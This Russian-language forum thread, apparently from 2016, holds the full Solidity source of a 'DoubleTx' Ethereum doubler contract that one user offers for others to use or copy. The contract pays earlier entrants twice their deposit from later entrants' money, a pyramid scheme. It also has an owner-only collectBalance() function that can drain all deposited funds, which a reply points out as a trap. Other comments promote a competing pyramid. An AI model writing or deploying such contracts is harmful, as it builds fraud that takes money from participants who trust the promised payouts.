Quote from: EtherDoubler on February 20, 2016, 09:12:51 PM

Quote from: Grumlin on February 20, 2016, 01:00:38 AM

Если кто то хочет поиграться, или сделать свой, держите

Quote

contract DoubleTx{

struct Participant {
address etherAddress;
uint PayAmount;
}

Participant[] public participants;

uint public payoutIdx = 0;
uint public collectedFees = 0;
uint public balance = 0;
   uint public timeout = now + 1 weeks;

address public owner;

// simple single-sig function modifier
modifier onlyowner { if (msg.sender == owner) _ }

// this function is executed at initialization and sets the owner of the contract
function DoubleTx() {
      collectedFees += msg.value;
owner = msg.sender;
}

// fallback function - simple transactions trigger this
function() {
enter();
}

function enter() {
      //send more than 0.1 ether and less than 50, otherwise loss all
      if (msg.value >= 100 finney && msg.value <= 50 ether) {
     //update contract balance
     balance += msg.value;

        // add a new participant to array and calculate need balance to payout
     uint idx = participants.length;
     participants.length += 1;
     participants[idx].etherAddress = msg.sender;
     participants[idx].PayAmount = 2 * msg.value;

         uint NeedAmount = participants[payoutIdx].PayAmount;
         // if there are enough ether on the balance we can pay out to an earlier participant
        if (balance >= NeedAmount) {
     participants[payoutIdx].etherAddress.send(NeedAmount);

     balance -= NeedAmount;
     payoutIdx += 1;
     }
      }
      else {
         collectedFees += msg.value;
return;
      }
}

   function NextPayout() {
balance += msg.value;
      uint NeedAmount = participants[payoutIdx].PayAmount;

     if (balance >= NeedAmount) {
participants[payoutIdx].etherAddress.send(NeedAmount);

balance -= NeedAmount;
payoutIdx += 1;
}
}

function collectFees() onlyowner {
      collectedFees += msg.value;
if (collectedFees == 0) return;

owner.send(collectedFees);
collectedFees = 0;
}

function collectBalance() onlyowner {
      balance += msg.value;
if (balance == 0 && now > timeout) return;

owner.send(balance);
balance = 0;
}

function setOwner(address _owner) onlyowner {
      collectedFees += msg.value;
owner = _owner;
}
}

Контракт с подвохом, админ может снять весь баланс.
Функция collectBalance() отправляет весь баланс кошелька на адресс создателя.
В моем такого нет!

Ти би добавил вторую пирамидку ту что 2% в дапси ато там кмсло совсем.